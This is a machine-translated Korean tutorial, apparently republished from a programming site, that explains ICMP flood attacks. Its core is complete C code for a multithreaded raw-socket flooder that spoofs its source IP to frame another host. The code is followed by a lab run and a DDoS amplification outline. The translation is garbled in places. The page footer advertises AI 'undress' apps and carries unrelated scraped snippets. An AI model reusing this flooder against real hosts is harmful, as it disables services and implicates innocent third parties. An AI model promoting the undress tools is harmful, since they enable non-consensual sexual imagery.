Linux--ICMP 플러드 공격 인스턴스 도입
이 글은 주로 LinuxProgramming의 ICMP 플러드 공격 관련 정보를 모든 사람에게 자세히 소개합니다. 관심 있는 친구들이 참고할 수 있습니다.
나의 마지막 글인 "Linux 프로그래밍 PING"에서는 "구현"에 대해 설명합니다. PING 프로그램은 ICMP 프로토콜을 사용하여 구현됩니다. 이러한 PING 프로그램을 구현하는 것 외에도 ICMP에는 어떤 알려지지 않은 흥미로운 용도가 있습니까? 여기서는 ICMP의 또 다른 잘 알려진 블랙 기술인 ICMP 플러드 공격을 소개하겠습니다.
ICMP 플러드 공격은 유명한 DOS(Denial of Service) 공격의 일종으로 해커들이 즐겨 사용하는 공격 방법으로 ICMP에 대한 이해를 심화시키기 위해 ICMP를 기반으로 한 ICMP 문단도 작성해 보겠습니다. 홍수 공격 애플릿.
FLOOD 공격은 컴퓨터 네트워크 기술을 사용하여 대량의 쓸모 없는 데이터 패킷을 대상 호스트로 전송하여 대상 호스트가 쓸모 없는 데이터 패킷을 처리하느라 바쁘게 만들어 정상적인 서비스를 제공할 수 없는 네트워크 행동을 말합니다.
ICMP 플러드 공격: 이름에서 알 수 있듯이 대상 호스트에 대량의 핑 패킷을 보내 대상 호스트가 핑 패킷을 처리하느라 바쁘게 만들고 다른 정상적인 요청을 처리할 수 없게 만듭니다. 대상 호스트.
ICMP 플러드 공격을 구현하려면 다음 세 가지 지식이 필요합니다.
DOS 공격 원칙
ICMP에 대한 심층적인 이해
raw 소켓 프로그래밍 기술
1. ICMP 플러드 공격의 원리
ICMP 플러드 공격은 ping을 기반으로 이루어지지만 ping 프로그램은 PING처럼 ping 패킷 전송 속도가 너무 느리기 때문에 목적상의 문제나 다운타임이 거의 발생하지 않습니다. 내가 구현한 프로그램에서는 핑 패킷 전송 속도가 초당 1패킷으로 제한되어 있습니다. 이 속도는 대상 호스트가 핑 패킷을 처리하기에 충분합니다. 따라서 '플러드' 현상을 일으키기 위해서는 계약 발행률을 높여야 한다. ICMP 플러드 공격의 세 가지 방법은 다음과 같습니다.
(1) 직접 플러드 공격
이를 위해서는 로컬 호스트의 대역폭과 대상 호스트의 대역폭 간의 경쟁이 필요합니다. 예를 들어 내 호스트의 네트워크 대역폭은 30M입니다. 호스트의 네트워크 대역폭은 3M에 불과하므로 호스트를 침수시키기 위한 홍수 공격을 시작하는 성공률이 매우 높습니다. 이 공격 방법을 사용하려면 공격 호스트의 처리 능력과 대역폭이 공격 호스트보다 높아야 합니다. 그렇지 않으면 DoS가 발생합니다. 이 아이디어를 바탕으로 고대역폭 및 고성능 컴퓨터를 사용하여 멀티 스레딩 방법을 사용하여 여러 ICMP 요청 메시지를 한 번에 보낼 수 있습니다. 그러면 대상 호스트가 많은 수의 메시지를 처리하느라 바빠서 결과적으로 속도가 느려집니다. 속도 또는 가동 중지 시간. 이 방법은 상대방이 ICMP 패킷의 IP 주소를 기반으로 공격의 근원지를 차단할 수 있어 공격을 지속할 수 없다는 큰 단점이 있다.
(2) 가짜 IP 공격
직접 플러드 공격을 기반으로 발신자의 IP 주소를 다른 IP로 위장하면 위치가 매우 잘 숨겨집니다. 자신의 IP를 다른 피해자의 IP로 위장하면 "스토킹 불일치" 상황이 발생합니다. 호스트 1의 관리자가 원하는 경우 피해자 호스트 1의 icmp 응답 패킷도 피해자 호스트 2로 전송됩니다. 어떤 놈이 자기를 공격하려고 패킷을 보냈는데, ICMP 패킷의 소스 주소를 확인해 보니 호스트 2로 밝혀져 호스트 2가 희생양이 됐다.
(3) 반사 공격
이 유형의 공격에 대한 아이디어는 위의 두 가지 공격과 다르며 반사 공격의 디자인이 더 영리합니다. 사실 여기서 세 번째 모드의 공격 모드는 처음 두 모드를 병합하고 업그레이드한 버전입니다. 세 번째 모드의 공격 전략은 "빌린 칼로 죽이기"와 비슷합니다. 반사 공격은 더 이상 직접 대상을 지정하지 않습니다. 그러나 다른 호스트 그룹이 자신에게 ICMP 요청 패킷을 보낸 후 대상 호스트에 ICMP 응답 패킷을 보내면 모든 방향에서 플러딩이 발생하여 대상 호스트가 플러딩됩니다. . 예를 들어, ICMP 요청 패킷을 LAN의 다른 호스트로 보낸 다음 자신의 IP 주소를 대상 호스트의 IP로 위장하면 하위 대상 호스트가 ICMP 에코의 초점이 됩니다. 이 공격은 피해자 호스트가 공격의 근원지가 누구인지 알아내기 어렵기 때문에 매우 미묘합니다.
2. ICMP 홍수 공격 프로그램 설계
여기서는 ICMP 홍수 공격의 예를 구현하고 싶습니다. 여기서는 두 번째 방법을 사용하여 설계하고 싶습니다. "빌린 칼로 사람을 죽이는" 세 번째 방법이 더 영리하지만 실제로는 두 번째 방법의 변장 방법을 더욱 확장한 것이며 구현 방식도 유사합니다.
먼저 공격의 모델사진을 제공하세요:
1 그룹 ICMP 패킷
여기서의 패킷 어셈블리는 PING 프로그램 작성 시의 패킷 어셈블리와 크게 다르지 않습니다. 주의할 점은 소스 주소를 위장하고 비난을 퍼붓기 위해 IP 헤더 부분을 채워야 한다는 것입니다. 다른 사람들에게.
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了 }
2. 패킷 전송 스레드 구축
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制发包的全局变量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //记得要释放内存 }
3. 패킷 전송 스위치 작성
여기 스위치는 매우 간단하며 다음과 같이 구현할 수 있습니다. 세마포어 + 전역 변수. Ctrl+C를 누르면 공격이 종료됩니다.
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4. 전체 아키텍처
64개의 스레드를 사용하여 패킷을 함께 전송합니다. 물론 공격 강도를 높이기 위해 스레드 수를 크게 늘릴 수도 있습니다. 하지만 우리는 단지 실험을 하고 있을 뿐, 그렇게 크게 만들 필요는 없습니다.
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待线程结束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
3. 실험
이번 실험은 제가 가지고 있는 장비를 활용해 네트워크와 프로토콜의 응용을 더 깊이 이해하고 싶기 때문에 공격 범위가 상대적으로 넓습니다. 작고 시간도 짧습니다. 몇 초 밖에 걸리지 않으며 장비에 영향을 주지 않습니다.
공격 단계에 대해 다시 이야기해 보겠습니다. 호스트 172.0.5.183을 자체 공격 호스트로 사용하고 호스트 172.0.5.182로 위장한 다음 호스트 172.0.5.9에서 ICMP 플러드 공격을 시작합니다.
공격이 시작된다
피해자 측의 상황을 지켜보자. 단 5초 만에 70,000개 이상의 패킷이 올바르게 수신되어 처리를 위해 상위 계층으로 전달되었습니다. 나는 기계의 작동에 영향을 미치지 않기 위해 감히 너무 많은 일을 할 수 없습니다.
wireshark를 사용하여 패킷을 캡처하고 다시 살펴보세요. ICMP 패킷으로 가득 차 있는 것 같습니다. ICMP 패킷의 소스 주소는 172.0.5.182(스푸핑된 주소)로 표시되며, 172.0.5.182로 에코 응답도 보냅니다. 호스트 172.0.5.182는 왜 그렇게 많은 에코 응답 패킷을 받았는지 설명할 수 없다고 생각할 것입니다.
공격 실험이 완료되었습니다.
지금 더 대중적인 것은 DDOS 공격인데, 이는 더 강력하고, 더 정교하며, 더 방어하기 어렵습니다.
실제로 이런 종류의 DDoS 공격도 DOS 기반으로 진행됩니다. 구체적인 단계는 다음과 같습니다.
1. 공격자는 "증폭 네트워크"에 에코 요청 메시지를 브로드캐스트합니다. 2. 공격자는 다음을 지정합니다. 브로드캐스트 메시지의 소스 IP를 공격된 호스트
로 3. "네트워크를 증폭"하고 응답하여 공격받은 호스트에 에코 응답
4. DDoS 공격 시나리오 구성
위 내용은 Linux--ICMP 플러드 공격 인스턴스 도입의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











사용자들은 인터넷을 사용하면서 와피(wapi)라는 용어를 접했을 수도 있지만, 와피가 무엇인지 모르는 사람들도 있을 것입니다. 다음은 모르는 사람들의 이해를 돕기 위해 자세히 소개한 것입니다. wapi란 무엇입니까? 답변: wapi는 무선 LAN 인증 및 기밀 유지를 위한 인프라입니다. 이는 일반적으로 사무실 건물과 같은 장소 근처에서 보호되는 적외선 및 블루투스와 같은 기능과 같습니다. 기본적으로 소규모 부서가 소유하므로 이 기능의 범위는 불과 몇 킬로미터에 불과합니다. wapi 관련 소개: 1. Wapi는 무선 LAN의 전송 프로토콜입니다. 2. 이 기술은 협대역 통신의 문제를 방지하고 더 나은 통신을 가능하게 합니다. 3. 신호를 전송하는 데는 하나의 코드만 필요합니다.

PlayerUnknown's Battlegrounds라고도 알려진 Pubg는 2016년 인기를 얻은 이후 많은 플레이어를 끌어모은 매우 고전적인 슈팅 배틀 로얄 게임입니다. 최근 win11 시스템이 출시된 후 많은 플레이어들이 win11에서 플레이하고 싶어합니다. win11이 pubg를 플레이할 수 있는지 편집기를 따라가 보겠습니다. win11이 pubg를 플레이할 수 있나요? 답변: Win11은 pubg를 플레이할 수 있습니다. 1. win11 초기에는 win11에서 tpm을 활성화해야 했기 때문에 많은 플레이어가 pubg에서 금지되었습니다. 2. 하지만 플레이어 여러분의 피드백을 바탕으로 블루홀에서는 이 문제를 해결하였고, 이제 win11에서도 정상적으로 pubg 플레이가 가능해졌습니다. 3. 술집을 만난다면

Python 함수 소개: exec 함수 소개 및 예 소개: Python에서 exec는 문자열이나 파일에 저장된 Python 코드를 실행하는 데 사용되는 내장 함수입니다. exec 함수는 코드를 동적으로 실행하는 방법을 제공하여 프로그램이 런타임 중에 필요에 따라 코드를 생성, 수정 및 실행할 수 있도록 합니다. 이 기사에서는 exec 함수를 사용하는 방법을 소개하고 몇 가지 실용적인 코드 예제를 제공합니다. exec 함수 사용 방법: exec 함수의 기본 구문은 다음과 같습니다. exec

i5는 인텔이 보유한 프로세서 시리즈로, 11세대 i5의 다양한 버전이 있으며, 세대마다 성능이 다릅니다. 따라서 i5 프로세서가 win11을 설치할 수 있는지 여부는 어떤 세대의 프로세서인지에 따라 별도로 알아보겠습니다. i5 프로세서를 win11과 함께 설치할 수 있습니까? 답: i5 프로세서는 win11과 함께 설치할 수 있습니다. 1. 8세대 및 후속 i51, 8세대 및 후속 i5 프로세서는 Microsoft의 최소 구성 요구 사항을 충족할 수 있습니다. 2. 따라서 Microsoft 웹 사이트에 들어가서 "Win11 설치 도우미"만 다운로드하면 됩니다. 3. 다운로드가 완료된 후 설치 도우미를 실행하고 프롬프트에 따라 Win11을 설치합니다. 2. i51 8세대 이전과 8세대 이후

최신 win11로 업데이트한 후 많은 사용자가 시스템 사운드가 약간 변경되었지만 이를 조정하는 방법을 알지 못합니다. 따라서 오늘 이 사이트에서는 컴퓨터의 최신 win11 사운드 조정 방법을 소개합니다. 작동 방법도 어렵지 않습니다. 선택 사항도 다양합니다. 와서 다운로드하여 사용해 보세요. 최신 컴퓨터 시스템 Windows 11의 사운드 조정 방법 1. 먼저 바탕 화면 오른쪽 하단의 사운드 아이콘을 마우스 오른쪽 버튼으로 클릭하고 "재생 설정"을 선택합니다. 2. 그런 다음 설정을 입력하고 재생 표시줄에서 "스피커"를 클릭합니다. 3. 그런 다음 오른쪽 하단의 "속성"을 클릭하십시오. 4. 속성에서 "향상" 옵션 표시줄을 클릭하세요. 5. 이때 '모든 음향효과 비활성화' 앞의 √가 체크되어 있으면 취소해 주세요. 6. 그 후 아래에서 설정할 음향 효과를 선택하고 클릭하세요.

PyCharm은 개발 효율성을 크게 향상시킬 수 있는 풍부한 기능과 도구를 갖춘 강력한 Python 통합 개발 환경입니다. 그 중 교체 기능은 개발 과정에서 자주 사용되는 기능 중 하나로, 개발자가 코드를 빠르게 수정하고 코드 품질을 향상시키는 데 도움을 줄 수 있습니다. 이 기사에서는 초보자가 이 기능을 더 잘 익히고 사용할 수 있도록 특정 코드 예제와 함께 PyCharm의 대체 기능을 자세히 소개합니다. 대체 기능 소개 PyCharm의 대체 기능은 개발자가 코드에서 지정된 텍스트를 빠르게 대체하는 데 도움이 될 수 있습니다.

많은 사용자가 컴퓨터에 프린터 드라이버를 설치했지만 이를 찾는 방법을 모릅니다. 그래서 오늘은 컴퓨터에서 프린터 드라이버의 위치에 대해 자세히 소개하겠습니다. 아직 모르시는 분들을 위해 원래 의미를 바꾸지 않고 내용을 다시 작성할 때 프린터 드라이버를 찾을 수 있는 위치를 살펴보겠습니다. 언어를 중국어로 다시 작성해야 하며 원래 문장이 표시될 필요는 없습니다. 먼저 타사 소프트웨어를 사용하여 검색하는 것이 좋습니다. 2. 오른쪽 상단에서 "도구 상자"를 찾습니다. 아래의 "장치 관리자"를 클릭하세요. 다시 쓴 문장: 3. 하단의 "장치 관리자"를 찾아 클릭합니다. 4. 그런 다음 "인쇄 대기열"을 열고 프린터 장치를 찾습니다. 이번에는 프린터 이름과 모델입니다. 5. 프린터 장치를 마우스 오른쪽 버튼으로 클릭하면 업데이트하거나 제거할 수 있습니다.

Dogecoin은 고정된 공급 한도가 없고, 빠른 거래 시간, 낮은 거래 수수료, 대규모 밈 커뮤니티가 있는 인터넷 밈을 기반으로 만들어진 암호화폐입니다. 용도로는 소액 거래, 팁, 자선 기부 등이 있습니다. 그러나 무제한 공급, 시장 변동성, 조크 코인으로서의 지위 역시 위험과 우려를 불러일으킵니다. 도지코인이란 무엇입니까? Dogecoin은 인터넷 밈과 농담을 기반으로 만들어진 암호화폐입니다. 기원과 역사: Dogecoin은 2013년 12월 두 명의 소프트웨어 엔지니어 Billy Markus와 Jackson Palmer에 의해 만들어졌습니다. 당시 인기 있었던 "Doge" 밈에서 영감을 받아, 영어가 서툰 시바견이 등장하는 코믹한 사진입니다. 특징 및 이점: 무제한 공급: 비트코인과 같은 다른 암호화폐와는 달리
